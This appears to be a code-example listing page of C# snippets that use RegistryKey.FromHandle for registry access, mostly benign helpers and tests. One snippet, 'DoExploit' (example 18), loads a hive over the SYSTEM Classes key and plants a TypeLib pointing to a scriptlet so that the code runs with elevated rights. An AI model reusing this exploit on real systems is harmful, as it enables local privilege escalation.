Ejemplo n.º 1
0
        /// <summary>
        /// TODO: Add Comment
        /// </summary>
        /// <param name="handle"></param>
        /// <param name="view"></param>
        /// <returns></returns>
        public IRegistryKey FromHandle(ISafeRegistryHandle handle, RegistryView view)
        {
            RegistryKey key = RegistryKey.FromHandle(handle.SafeRegistryHandleInstance, view);

            if (null == key)
            {
                return(null);
            }
            else
            {
                return(new RegistryKeyWrap(key));
            }
        }
Ejemplo n.º 2
0
        public static void EnsureNVMLCanBeLocated()
        {
            if (!RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
            {
                // Assume linux, nothing to do.
                // Linux is smart with LDConfig, Windows is monke with PATH look-ups
                return;
            }

            CheckReturn(Functions.GetDeviceIdListSize(out var deviceListSize, VideoAdaptersClass, DeviceFlags));

            var stringBuffer = new byte[deviceListSize];

            CheckReturn(Functions.GetDeviceIdList(VideoAdaptersClass, stringBuffer, deviceListSize, DeviceFlags));

            var nvmlLocation = "";

            foreach (var deviceId in EnumerateDeviceStrings(stringBuffer))
            {
                CheckReturn(Functions.LocateDeviceNode(out var deviceNode, deviceId, LocateDeviceFlagNormal));
                CheckReturn(Functions.OpenDeviceNodeRegistryKey(
                                deviceNode, AccessMaskQueryValue, CurrentHardwareProfile,
                                RegistryDispositionOpenExisting, out var registryKeyHandle,
                                RegistrySoftware
                                ));

                var registryKey   = RegistryKey.FromHandle(new SafeRegistryHandle(registryKeyHandle, true));
                var registryValue = registryKey.GetValue("OpenGLDriverName") as string[];
                if (registryValue == null || registryValue.Length != 1)
                {
                    continue;
                }

                var nvidiaDriverFilePath = registryValue[0];
                var nvidiaDriverStore    = Path.GetDirectoryName(nvidiaDriverFilePath);
                if (File.Exists(Path.Combine(nvidiaDriverStore, "nvml.dll")))
                {
                    nvmlLocation = nvidiaDriverStore;
                    break;
                }
            }

            if (string.IsNullOrEmpty(nvmlLocation))
            {
                ThrowGenericError();
            }

            // TODO: Do I have to clean-up this handle?
            Functions.AddDLLDirectory(nvmlLocation);
        }
        /// <summary>
        /// 读取指定名称的注册表的值的数据
        /// </summary>
        /// <param name="hive">顶级注册表节点</param>
        /// <param name="subkey">子项路径</param>
        /// <param name="name">要寻找的值</param>
        /// <param name="view">注册表视图</param>
        /// <returns></returns>
        public static string GetRegistryData(RegistryHive hive, string subkey, string name, RegistryView view = RegistryView.Default)
        {
            SafeRegistryHandle handle = new SafeRegistryHandle(GetHiveHandle(hive), true);             //获得根节点的安全句柄
            RegistryKey        myKey  = RegistryKey.FromHandle(handle, view).OpenSubKey(subkey, true); //获得要访问的键

            string registData = "";

            if (myKey != null)
            {
                registData = myKey.GetValue(name).ToString();
            }

            return(registData);
        }
Ejemplo n.º 4
0
        public RegistryKey GetRootRegistryKey(GroupPolicySection section)
        {
            IntPtr key;
            var    result = Instance.GetRegistryKey((uint)section, out key);

            if (result != 0)
            {
                throw new Exception(string.Format("Unable to get section '{0}'", Enum.GetName(typeof(GroupPolicySection), section)));
            }

            var handle = new SafeRegistryHandle(key, true);

            return(RegistryKey.FromHandle(handle, RegistryView.Default));
        }
Ejemplo n.º 5
0
        private void PrintVSExtensions(string instance)
        {
            var keyPath = $@"Software\Microsoft\VisualStudio\{instance}\ExtensionManager\EnabledExtensions";

            using (var safeRegistryHandle = new SafeRegistryHandle(new IntPtr(hKey), true))
                using (var appKey = RegistryKey.FromHandle(safeRegistryHandle))
                    using (var extensionsKey = appKey.OpenSubKey(keyPath, true))
                    {
                        var valueNames = extensionsKey.GetValueNames();
                        foreach (var name in valueNames)
                        {
                            var value = extensionsKey.GetValue(name);
                        }
                    }
        }
Ejemplo n.º 6
0
 static RegistryKey OpenSubKey(RegistryHive hive, string keyName, bool writeable = true)
 {
     try
     {
         SafeRegistryHandle handle = new SafeRegistryHandle(GetHiveHandle(hive), true);
         RegistryView       view   = Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32;
         RegistryKey        subkey = RegistryKey.FromHandle(handle, view).OpenSubKey(keyName, writeable);
         return(subkey);
     }
     catch (Exception ex)
     {
         MessageBox.Show(ex.Message);
         return(null);
     }
 }
Ejemplo n.º 7
0
        public void NegativeTests()
        {
            // null handle
            Assert.Throws <ArgumentNullException>(() => RegistryKey.FromHandle(handle: null, view: RegistryView.Default));

            // invalid view
            Assert.Throws <ArgumentException>(() => RegistryKey.FromHandle(TestRegistryKey.Handle, (RegistryView)(-1)));
            Assert.Throws <ArgumentException>(() => RegistryKey.FromHandle(TestRegistryKey.Handle, (RegistryView)3));

            // get handle of disposed RegistryKey
            Assert.Throws <ObjectDisposedException>(() =>
            {
                TestRegistryKey.Dispose();
                return(TestRegistryKey.Handle);
            });
        }
Ejemplo n.º 8
0
        private static bool IsPluginInstalledIn2017(string version)
        {
            var existingKeyPath = I($@"Software\Microsoft\VisualStudio\{version}\ExtensionManager\EnabledExtensions");

            var privateRegistryPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), I($@"Microsoft\VisualStudio\{version}\privateregistry.bin"));

            var hKey = RegistryNativeMethods.RegLoadAppKey(privateRegistryPath);

            using (var safeRegistryHandle = new SafeRegistryHandle(new IntPtr(hKey), true))
                using (var appKey = RegistryKey.FromHandle(safeRegistryHandle))
                    using (var currentVersionKey = appKey.OpenSubKey(existingKeyPath))
                    {
                        var isPluginInstalled = currentVersionKey.GetValue(I($"{PluginGuid},{LatestPluginVersion}"));
                        return(isPluginInstalled != null);
                    }
        }
Ejemplo n.º 9
0
 static bool SetValueWithRegView(RegistryHive hive, string keyName, string valueName, object value, RegistryValueKind kind)
 {
     try
     {
         SafeRegistryHandle handle = new SafeRegistryHandle(GetHiveHandle(hive), true);
         RegistryView       view   = Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32;
         RegistryKey        subkey = RegistryKey.FromHandle(handle, view).OpenSubKey(keyName, true);
         RegistryKey        key    = RegistryKey.FromHandle(subkey.Handle, view);
         key.SetValue(valueName, value, kind);
         return(true);
     }
     catch
     {
         return(false);
     }
 }
Ejemplo n.º 10
0
        private static string ReadRegistry(bool is64, IntPtr root, string path, string valueName)
        {
            string result = null;

            using (SafeRegistryHandle hkeyRootNativeHandle = new SafeRegistryHandle(root, false))
            {
                using (RegistryKey hkeyRoot = RegistryKey.FromHandle(hkeyRootNativeHandle, is64 ? RegistryView.Registry64 : RegistryView.Registry32))
                {
                    using (RegistryKey key = hkeyRoot.OpenSubKey(path))
                    {
                        result = key?.GetValue(valueName) as string;
                    }
                }
            }
            return(result);
        }
Ejemplo n.º 11
0
        /// <summary>
        /// Sets an environment variable for the user.
        /// </summary>
        /// <param name="name"></param>
        /// <param name="value"></param>
        public void SetUsersEnvironmentVariables(Dictionary <string, string> envVariables)
        {
            if (!this.Created)
            {
                throw new InvalidOperationException("ProcessPrison has to be created first.");
            }

            if (envVariables.Keys.Any(x => x.Contains('=')))
            {
                throw new ArgumentException("A name of an environment variable contains the invalid '=' characther", "envVariables");
            }

            if (envVariables.Keys.Any(x => string.IsNullOrEmpty(x)))
            {
                throw new ArgumentException("A name of an environment variable is null or empty", "envVariables");
            }

            //if (envVariables.Values.Any(x => x == null))
            //{
            //    throw new ArgumentException("A value of an environment variable is null", "envVariables");
            //}

            foreach (string key in envVariables.Keys)
            {
                this.myenvvars[key] = envVariables[key];
            }

            using (var impersonator = new UserImpersonator(this.WindowsUsername, this.WindowsDomain, this.WindowsPassword, true))
            {
                using (var registryHandle = impersonator.GetRegistryHandle())
                {
                    using (var registry = RegistryKey.FromHandle(registryHandle))
                    {
                        using (var envRegKey = registry.OpenSubKey("Environment", true))
                        {
                            foreach (var env in envVariables)
                            {
                                var value = env.Value == null ? string.Empty : env.Value;

                                envRegKey.SetValue(env.Key, value, RegistryValueKind.String);
                            }
                        }
                    }
                }
            }
        }
Ejemplo n.º 12
0
        public static void SetData(string key, object value)
        {
            IntPtr      phKey              = new IntPtr();
            var         answer             = IEGetWriteableHKCU(ref phKey);
            RegistryKey writeable_registry = RegistryKey.FromHandle(
                new Microsoft.Win32.SafeHandles.SafeRegistryHandle(phKey, true)
                );
            RegistryKey registryKey = writeable_registry.OpenSubKey(RegData, true);

            if (registryKey == null)
            {
                registryKey = writeable_registry.CreateSubKey(RegData);
            }
            registryKey.SetValue(key, value);

            writeable_registry.Close();
        }
Ejemplo n.º 13
0
        static object GetValueWithRegView(RegistryHive hive, string keyName, string valueName, RegistryView view = RegistryView.Registry32)
        {
            try
            {
                SafeRegistryHandle handle = new SafeRegistryHandle(GetHiveHandle(hive), true); //获得根节点的安全句柄

                RegistryKey subkey = RegistryKey.FromHandle(handle, view).OpenSubKey(keyName); //获得要访问的键

                RegistryKey key = RegistryKey.FromHandle(subkey.Handle, view);                 //根据键的句柄和视图获得要访问的键

                return(key.GetValue(valueName));                                               //获得键下指定项的值
            }
            catch
            {
                return(string.Empty);
            }
        }
Ejemplo n.º 14
0
        /// <summary>
        /// 用于32位的程序设置64位的注册表
        /// </summary>
        /// <param name="hive">根级别的名称</param>
        /// <param name="keyName">不包括根级别的名称</param>
        /// <param name="valueName">项名称</param>
        /// <param name="value">值</param>
        /// <param name="kind">值类型</param>
        /// <param name="view">注册表视图</param>
        public static void SetValueWithRegView(RegistryHive hive, string keyName, string valueName, object value, RegistryValueKind kind, RegistryView view)
        {
            try
            {
                SafeRegistryHandle handle = new SafeRegistryHandle(GetHiveHandle(hive), true);

                RegistryKey subkey = RegistryKey.FromHandle(handle, view).OpenSubKey(keyName, true);//需要写的权限,这里的true是关键。0227更新

                RegistryKey key = RegistryKey.FromHandle(subkey.Handle, view);

                key.SetValue(valueName, value, kind);
            }
            catch (Exception ex)
            {
                throw new Exception("写注册表失败," + ex.Message);
            }
        }
Ejemplo n.º 15
0
        /// <summary>
        /// Load the values from the registry
        /// </summary>
        private void Load()
        {
            if (this.isLoaded)
            {
                return;
            }

            IntPtr phKey  = new IntPtr();
            var    answer = IEGetWriteableHKCU(ref phKey);

            using (RegistryKey writeableRegistry = RegistryKey.FromHandle(new Microsoft.Win32.SafeHandles.SafeRegistryHandle(phKey, true)))
            {
                using (RegistryKey registryKey = writeableRegistry.OpenSubKey(DATA_REGISTRY_PATH, true))
                {
                    if (registryKey == null)
                    {
                        this.enabled = false;
                    }
                    else
                    {
                        object registryValue;

                        registryValue = registryKey.GetValue(ENABLED_REGISTRY_KEY, null);
                        this.enabled  = registryValue != null && registryValue.ToString() == TRUE_VALUE;

                        registryValue = registryKey.GetValue(USERPREF_REGISTRY_KEY, null);
                        this.userPref = registryValue != null?registryValue.ToString() : DEFAULT_USERPREF;

                        // lang
                        CultureInfo culture = CultureInfo.CurrentCulture;
                        this.lang = culture.Name.Substring(0, 2).ToUpper();

                        registryValue = registryKey.GetValue(BLACKLIST_REGISTRY_KEY, null);
                        this.blacklist.Clear();
                        if (registryValue != null)
                        {
                            this.blacklist.AddRange(registryValue.ToString().Split(','));
                        }
                    }
                }
            }

            this.isLoaded = true;
        }
Ejemplo n.º 16
0
        internal static RegistryKey RegLoadAppKey(String hiveFile)
        {
            int hKey;
            int rc = RegLoadAppKey(hiveFile, out hKey, RegSAM.AllAccess, REG_PROCESS_APPKEY, 0);

            if (rc != 0)
            {
                if (rc == 0x20)
                {
                    ErrorLog.Inst.LogError("Please Close All the instance of the Visual Studio");
                }
                else
                {
                    ErrorLog.Inst.LogError("Unknown Error code : {0}", rc);
                }
            }

            return(RegistryKey.FromHandle(new Microsoft.Win32.SafeHandles.SafeRegistryHandle(new IntPtr(hKey), true)));
        }
        ///// <summary>
        ///// 向注册表中写数据
        ///// </summary>
        ///// <param name="name"></param>
        ///// <param name="tovalue"></param>
        //public void SetRegistryData(RegistryKey root, string subkey, string name, string value)
        //{
        //    RegistryKey aimdir = root.CreateSubKey(subkey);
        //    aimdir.SetValue(name, value);
        //}

        ///// <summary>
        ///// 删除注册表中指定的注册表项
        ///// </summary>
        ///// <param name="name"></param>
        //public void DeleteRegist(RegistryKey root, string subkey, string name)
        //{
        //    string[] subkeyNames;
        //    RegistryKey myKey = root.OpenSubKey(subkey, true);
        //    subkeyNames = myKey.GetSubKeyNames();
        //    foreach (string aimKey in subkeyNames)
        //    {
        //        if (aimKey == name)
        //            myKey.DeleteSubKeyTree(name);
        //    }
        //}

        /// <summary>
        /// 判断指定注册表项是否存在
        /// </summary>
        /// <param name="hive">顶级注册节点</param>
        /// <param name="subkey">子项路径</param>
        /// <param name="name">要寻找的项</param>
        /// <param name="view">注册表视图</param>
        /// <returns>存在返回true</returns>
        public static bool IsRegistryExist(RegistryHive hive, string subkey, string name, RegistryView view = RegistryView.Default)
        {
            SafeRegistryHandle handle = new SafeRegistryHandle(GetHiveHandle(hive), true);       //获得根节点的安全句柄
            RegistryKey        myKey  = RegistryKey.FromHandle(handle, view).OpenSubKey(subkey); //获得要访问的键

            if (myKey != null)
            {
                string[] subkeyNames = myKey.GetSubKeyNames();
                foreach (string keyName in subkeyNames)
                {
                    if (keyName == name)
                    {
                        return(true);
                    }
                }
            }

            return(false);
        }
Ejemplo n.º 18
0
        static void DoExploit()
        {
            Console.WriteLine("{0}", Assembly.GetCallingAssembly().Location);
            Tuple <EventWaitHandle, EventWaitHandle> events = GetEvents();

            string cmdline = String.Format(@"""{0}"" {1}",
                                           Assembly.GetCallingAssembly().Location.Replace('\\', '/'), Process.GetCurrentProcess().SessionId);
            string scriptlet_path = Path.GetFullPath("dummy.sct");

            File.WriteAllText(scriptlet_path, scriptlet_code.Replace("%CMDLINE%", cmdline), Encoding.ASCII);
            Console.WriteLine("{0}", scriptlet_path);
            string scriptlet_url = "script:" + new Uri(scriptlet_path).AbsoluteUri;

            Console.WriteLine("{0}", scriptlet_url);
            string reg_name = @"\Registry\User\S-1-5-18_Classes";
            string path     = @"\??\" + Path.GetFullPath("dummy.hiv");

            File.Delete("dummy.hiv");
            ObjectAttributes   KeyName  = new ObjectAttributes(reg_name);
            ObjectAttributes   FileName = new ObjectAttributes(path);
            SafeRegistryHandle keyHandle;

            StatusToNtException(NtLoadKeyEx(KeyName,
                                            FileName, LoadKeyFlags.AppKey, IntPtr.Zero,
                                            IntPtr.Zero, GenericAccessRights.GenericAll, out keyHandle, 0));

            RegistryKey key         = RegistryKey.FromHandle(keyHandle);
            RegistryKey typelib_key = key.CreateSubKey("TypeLib").CreateSubKey("{D597DEED-5B9F-11D1-8DD2-00AA004ABD5E}").CreateSubKey("2.0").CreateSubKey("0");

            typelib_key.CreateSubKey("win32").SetValue(null, scriptlet_url);
            typelib_key.CreateSubKey("win64").SetValue(null, scriptlet_url);

            Console.WriteLine("Handle: {0} - Key {1} - Path {2}", keyHandle.DangerousGetHandle(), reg_name, path);
            Console.WriteLine("Lock screen and re-login.");
            LockWorkStation();
            events.Item1.WaitOne();
            typelib_key.DeleteSubKey("win32");
            typelib_key.DeleteSubKey("win64");
            File.Delete(scriptlet_path);
            typelib_key.Close();
            key.Close();
            events.Item2.Set();
        }
Ejemplo n.º 19
0
        private static void AccessHkcuRegistry(IntPtr hkcuHandle)
        {
            // Access registry HKCU
            using (SafeRegistryHandle safeHandle = new SafeRegistryHandle(hkcuHandle, true))
            {
                using (RegistryKey tempUserHKCU = RegistryKey.FromHandle(safeHandle))
                {
                    // Unum all sub keys under tempuser's HKCU
                    String[] keys = tempUserHKCU.GetSubKeyNames();

                    // Create a new sub key under tempuser's HKCU
                    using (RegistryKey tempKeyByWayne = tempUserHKCU.CreateSubKey("TempKeyByWayne"))
                    {
                        Console.WriteLine("TempKeyByWayne under TempUser's HKCU was created!");
                        // Ensure priviledge
                        //RegistrySecurity registrySecurity = new RegistrySecurity();
                        //RegistryAccessRule accessRule = new RegistryAccessRule(Environment.MachineName + "\\" + userName,
                        //                                                       RegistryRights.TakeOwnership,
                        //                                                       InheritanceFlags.ContainerInherit,
                        //                                                       PropagationFlags.None,
                        //                                                       AccessControlType.Allow);
                        //registrySecurity.SetAccessRule(accessRule);
                        //tempKeyByWayne.SetAccessControl(registrySecurity);

                        // Create a new String value under created TempKeyByWayne subkey
                        tempKeyByWayne.SetValue("StrType", "TempContent", RegistryValueKind.String);

                        // Read the value
                        using (RegistryKey regKey = tempUserHKCU.OpenSubKey("TempKeyByWayne"))
                        {
                            String valueContent = regKey.GetValue("StrType") as String;
                            Console.WriteLine("HKEY_CURRENT_USER\\TempKeyByWayne\\strTyle value: " + valueContent);
                        }

                        // Delete created TempKeyByWayne subkey
                        tempUserHKCU.DeleteSubKey("TempKeyByWayne");
                        Console.WriteLine("TempKeyByWayne under TempUser's HKCU was deleted!");
                        tempKeyByWayne.Close();
                    }
                }
            }
        }
Ejemplo n.º 20
0
        private string GetRegData()
        {
            string regData = "<ERROR>";

            if (NativeMethods.ERROR_SUCCESS == NativeMethods.RegOpenCurrentUser(NativeMethods.KEY_ALL_ACCESS, out SafeRegistryHandle registryHandle))
            {
                try
                {
                    using (registryHandle)
                        using (var key = RegistryKey.FromHandle(registryHandle))
                            using (var subKey = key.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Abc"))
                            {
                                regData = (string)subKey.GetValue("Name");
                            }
                }
                catch { }
            }

            return(regData);
        }
Ejemplo n.º 21
0
        private static void OperateReg(RegistryHive hive, string path, Dictionary <string, string[]> parameters, RegistryView view)
        {
            SafeRegistryHandle handle = new SafeRegistryHandle(GetHiveHandle(hive), true);
            RegistryKey        r      = RegistryKey.FromHandle(handle, view).CreateSubKey(path, RegistryKeyPermissionCheck.ReadWriteSubTree);

            //一般情况是使用如下代码:
            //RegistryKey rk = Registry.LocalMachine.CreateSubKey(path);
            if (parameters == null && parameters.Count <= 0)
            {
                return;
            }
            List <string> keys = parameters.Keys.ToList();

            for (int i = 0; i < parameters.Count; i++)
            {  //string to RegistryValueKind
                RegistryValueKind rv = (RegistryValueKind)Enum.Parse(typeof(RegistryValueKind), parameters[keys[i]][1].ToString(), true);
                r.SetValue(keys[i], parameters[keys[i]][0], rv);
                LogHelper.WriteWarn("修改注册表成功");
            }
        }
        internal CreateUserProcessResult(NtStatus status, ProcessCreateInfoData create_info, ProcessCreateState create_state)
        {
            ImageFile = null;
            if (create_state == ProcessCreateState.FailOnSectionCreate)
            {
                ImageFile = new NtFile(new SafeKernelObjectHandle(create_info.FileHandle, true));
            }
            else if (create_state == ProcessCreateState.FailExeName)
            {
                IFEOKeyHandle = RegistryKey.FromHandle(new SafeRegistryHandle(create_info.IFEOKey, true));
            }
            Status      = status;
            CreateInfo  = create_info;
            CreateState = create_state;

            Process       = null;
            Thread        = null;
            SectionHandle = null;
            ImageInfo     = new SectionImageInformation();
            ClientId      = new ClientId();
        }
Ejemplo n.º 23
0
 public WindowsUserSpecificSettings(string domain, string user, string pass)
 {
     WindowsUserSpecificSettings.AcquireTokenPriv("SeImpersonatePrivilege", 40U);
     WindowsUserSpecificSettings.AcquireTokenPriv("SeBackupPrivilege", 40U);
     WindowsUserSpecificSettings.AcquireTokenPriv("SeRestorePrivilege", 40U);
     if (!WindowsUserSpecificSettings.LogonUser(user, domain, pass, WindowsUserSpecificSettings.LogonType.LOGON32_LOGON_NETWORK, WindowsUserSpecificSettings.LogonProvider.LOGON32_PROVIDER_DEFAULT, out this.m_UserToken))
     {
         throw new Win32Exception();
     }
     WindowsUserSpecificSettings.PROFILEINFO lpProfileInfo = new WindowsUserSpecificSettings.PROFILEINFO();
     lpProfileInfo.dwFlags      = 1;
     lpProfileInfo.lpServerName = string.Empty;
     lpProfileInfo.lpUserName   = user;
     lpProfileInfo.dwSize       = Marshal.SizeOf((object)lpProfileInfo);
     if (!WindowsUserSpecificSettings.LoadUserProfile(this.m_UserToken, ref lpProfileInfo))
     {
         throw new Win32Exception();
     }
     this.m_RegHandle = new SafeRegistryHandle(lpProfileInfo.hProfile, false);
     this.m_RegHive   = RegistryKey.FromHandle(this.m_RegHandle, RegistryView.Default);
 }
Ejemplo n.º 24
0
        private static string GetPortName(IntPtr hDevInfoSet, NativeMethods.SP_DEVINFO_DATA devInfoData)
        {
            var hRegKey = NativeMethods.SetupDiOpenDevRegKey(
                hDevInfoSet,
                ref devInfoData,
                NativeMethods.DeviceInfoPropertyScope.DICS_FLAG_GLOBAL,
                0,
                NativeMethods.DeviceInfoRegistryKeyType.DIREG_DEV,
                NativeMethods.RegistrySpecificAccessRights.KEY_QUERY_VALUE);

            if (hRegKey == IntPtr.Zero)
            {
                return(string.Empty);
            }

            var safeHandle = new SafeRegistryHandle(hRegKey, true);

            var key = RegistryKey.FromHandle(safeHandle);

            return(key.GetValue(@"PortName") as string);
        }
Ejemplo n.º 25
0
        //============================================================
        // <T>强转注册表信息操作64系统<T>
        //
        // @param type 类型
        // @param sunKeyName 首节点
        //============================================================
        public static FRegisterPath Sync(ERegister type, string path)
        {
            // 构建对象
            FRegisterPath registerPath = new FRegisterPath();

            if (IsRunningOn64Bit)
            {
                RegistryKey localMachineKey = Registry.LocalMachine;
                RegistryKey pathKey         = localMachineKey.CreateSubKey(path);
                registerPath.RootNode = pathKey;
                return(registerPath);
            }
            // 存储路径
            registerPath.Path = path;
            int KEY_QUERY_VALUE = (0x0001);
            int KEY_WOW64_64KEY = (0x0100);
            int KEY_ALL_WOW64   = (KEY_QUERY_VALUE | KEY_WOW64_64KEY);
            // 将Windows注册表主键名转化成为不带正负号的整形句柄(与平台是32或者64位有关)
            UIntPtr hKey = TransferKeyName(type);
            // 声明将要获取Key值的句柄
            IntPtr pHKey = IntPtr.Zero;
            // 关闭文件系统转向
            IntPtr oldWOW64State = new IntPtr();

            if (Wow64DisableWow64FsRedirection(ref oldWOW64State))
            {
                // 获得操作Key值的句柄
                RegOpenKeyEx(hKey, path, 0, KEY_ALL_WOW64, out pHKey);
                Microsoft.Win32.SafeHandles.SafeRegistryHandle safeHandle = new Microsoft.Win32.SafeHandles.SafeRegistryHandle(pHKey, true);
                RegistryKey key = RegistryKey.FromHandle(safeHandle);
                registerPath.RootNode = key;
                // 关闭注册表转向(禁止特定项的注册表反射)
                RegDisableReflectionKey(pHKey);
                // 打开注册表转向(开启特定项的注册表反射)
                RegEnableReflectionKey(pHKey);
            }
            // 打开文件系统转向
            Wow64RevertWow64FsRedirection(oldWOW64State);
            return(registerPath);
        }
Ejemplo n.º 26
0
        /// <summary>
        /// Save the values to the registry
        /// </summary>
        private void Save()
        {
            this.Load();

            // In IE 7,8,9,(desktop)10 tabs run in Protected Mode
            // which prohibits writes to HKLM, HKCU.
            // Must ask IE for "Writable" registry section pointer
            // which will be something like HKU/S-1-7***/Software/AppDataLow/
            // In "metro" IE 10 mode, tabs run in "Enhanced Protected Mode"
            // where BHOs are not allowed to run, except in edge cases.
            // see http://blogs.msdn.com/b/ieinternals/archive/2012/03/23/understanding-ie10-enhanced-protected-mode-network-security-addons-cookies-metro-desktop.aspx
            IntPtr phKey  = new IntPtr();
            var    answer = IEGetWriteableHKCU(ref phKey);

            using (RegistryKey writeableRegistry = RegistryKey.FromHandle(new Microsoft.Win32.SafeHandles.SafeRegistryHandle(phKey, true)))
            {
                RegistryKey registryKey = writeableRegistry.OpenSubKey(DATA_REGISTRY_PATH, true);
                try
                {
                    if (registryKey == null)
                    {
                        registryKey = writeableRegistry.CreateSubKey(DATA_REGISTRY_PATH);
                    }

                    // enabled
                    registryKey.SetValue(ENABLED_REGISTRY_KEY, this.enabled ? TRUE_VALUE : FALSE_VALUE);

                    // userPref
                    registryKey.SetValue(USERPREF_REGISTRY_KEY, this.userPref);

                    // blacklist
                    registryKey.SetValue(BLACKLIST_REGISTRY_KEY, string.Join(",", this.blacklist));
                }
                finally
                {
                    registryKey.Dispose();
                }
            }
        }
Ejemplo n.º 27
0
        public static List <KeyValuePair <string, string> > GetInstalledExtensions(string version, string instance)
        {
            var result = new List <KeyValuePair <string, string> >();

            var keypath = $@"Software\Microsoft\VisualStudio\{GetVersionForRegistryKey(version, instance)}\ExtensionManager\EnabledExtensions";

            // check the private hive exists and open it:
            var hivefile = VS2017Info.VS2017AppData.GetPrivateRegFilename(version, instance);

            if (!File.Exists(hivefile))
            {
                throw new VsInfoException($"{hivefile} does not exist.");
            }
            var hKey = RegistryNativeMethods.RegLoadAppKey(hivefile);

            using (var safeRegistryHandle = new SafeRegistryHandle(new IntPtr(hKey), true))
                using (var appKey = RegistryKey.FromHandle(safeRegistryHandle))
                    using (var extensionsKey = appKey.OpenSubKey(keypath, true))
                    {
                        if (extensionsKey == null)
                        {
                            throw new VsInfoException($"the key {keypath} does not exist in {hivefile}");
                        }

                        // get a list of key-value pairs - use the value names to get the values
                        result = extensionsKey == null ? result :
                                 extensionsKey.GetValueNames().Select(x => new KeyValuePair <string, string>(x, extensionsKey.GetValue(x).ToString())).ToList();

                        var extensions = extensionsKey?.GetValueNames() ?? Enumerable.Empty <string>();
                        foreach (var key in extensions)
                        {
                            var value = extensionsKey.GetValue(key).ToString();
                            result.Add(new KeyValuePair <string, string>(key, value));
                        }
                    }

            return(result);
        }
Ejemplo n.º 28
0
        static RegistryKey LoadKey(string path, bool read_only)
        {
            string             reg_name = @"\Registry\A\" + Guid.NewGuid().ToString("B");
            ObjectAttributes   KeyName  = new ObjectAttributes(reg_name);
            ObjectAttributes   FileName = new ObjectAttributes(@"\??\" + path);
            SafeRegistryHandle keyHandle;
            LoadKeyFlags       flags = LoadKeyFlags.AppKey;

            if (read_only)
            {
                flags |= LoadKeyFlags.ReadOnly;
            }

            int status = NtLoadKeyEx(KeyName,
                                     FileName, flags, IntPtr.Zero,
                                     IntPtr.Zero, GenericAccessRights.GenericRead, out keyHandle, 0);

            if (status != 0)
            {
                return(null);
            }
            return(RegistryKey.FromHandle(keyHandle));
        }
Ejemplo n.º 29
0
        private static string LoadData(string key)
        {
            IntPtr      phKey              = new IntPtr();
            var         answer             = IEGetWriteableHKCU(ref phKey);
            RegistryKey writeable_registry = RegistryKey.FromHandle(
                new Microsoft.Win32.SafeHandles.SafeRegistryHandle(phKey, true)
                );
            RegistryKey registryKey = writeable_registry.OpenSubKey(RegData, true);

            string result;

            if (registryKey == null)
            {
                result = "off";
            }
            else
            {
                result = (string)registryKey.GetValue(key);
            }

            writeable_registry.Close();
            return(result);
        }
Ejemplo n.º 30
0
        private static void SaveOptions()
        {
            // In IE 7,8,9,(desktop)10 tabs run in Protected Mode
            // which prohibits writes to HKLM, HKCU.
            // Must ask IE for "Writable" registry section pointer
            // which will be something like HKU/S-1-7***/Software/AppDataLow/
            // In "metro" IE 10 mode, tabs run in "Enhanced Protected Mode"
            // where BHOs are not allowed to run, except in edge cases.
            // see http://blogs.msdn.com/b/ieinternals/archive/2012/03/23/understanding-ie10-enhanced-protected-mode-network-security-addons-cookies-metro-desktop.aspx
            IntPtr      phKey              = new IntPtr();
            var         answer             = IEGetWriteableHKCU(ref phKey);
            RegistryKey writeable_registry = RegistryKey.FromHandle(
                new Microsoft.Win32.SafeHandles.SafeRegistryHandle(phKey, true)
                );
            RegistryKey registryKey = writeable_registry.OpenSubKey(RegData, true);

            if (registryKey == null)
            {
                registryKey = writeable_registry.CreateSubKey(RegData);
            }
            registryKey.SetValue("Data", TextToHighlight);
            writeable_registry.Close();
        }